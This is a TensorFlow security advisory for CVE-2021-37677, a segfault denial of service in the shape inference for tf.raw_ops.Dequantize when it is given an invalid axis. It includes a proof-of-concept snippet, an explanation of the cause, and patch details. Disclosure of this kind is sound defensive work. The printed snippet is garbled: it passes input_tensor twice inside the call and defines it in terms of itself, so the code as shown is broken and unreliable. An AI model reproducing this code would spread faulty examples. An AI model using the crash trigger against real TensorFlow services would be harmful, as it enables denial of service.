CVE-2021-37677
The shape inference code for tf.raw_ops.Dequantize
has a vulnerability that
could trigger a denial of service via a segfault if an attacker provides invalid
arguments:
import tensorflow as tf
tf.compat.v1.disable_v2_behavior()
tf.raw_ops.Dequantize(
input_tensor = tf.constant(-10.0, dtype=tf.float32),
input_tensor = tf.cast(input_tensor, dtype=tf.quint8),
min_range = tf.constant([], shape=[0], dtype=tf.float32),
max_range = tf.constant([], shape=[0], dtype=tf.float32),
mode = 'MIN_COMBINED',
narrow_range=False,
axis=-10,
dtype=tf.dtypes.float32)
The shape inference
implementation
uses axis
to select between two different values for minmax_rank
which is
then used to retrieve tensor dimensions. However, code assumes that axis
can
be either -1
or a value greater than -1
, with no validation for the other
values.
We have patched the issue in GitHub commit da857cfa0fde8f79ad0afdbc94e88b5d4bbec764.
The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
This vulnerability has been reported by Yakun Zhang of Baidu Security.